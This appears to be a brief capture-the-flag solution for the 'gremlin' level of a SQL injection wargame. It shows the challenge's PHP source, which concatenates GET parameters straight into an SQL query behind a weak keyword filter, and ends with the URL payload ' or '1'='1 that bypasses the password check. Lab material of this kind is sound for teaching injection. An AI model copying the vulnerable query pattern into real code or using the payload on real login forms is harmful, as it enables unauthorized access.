GREMLIN Clear!

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

#?id=admin&pw=1%27%20or%20%271%27=%271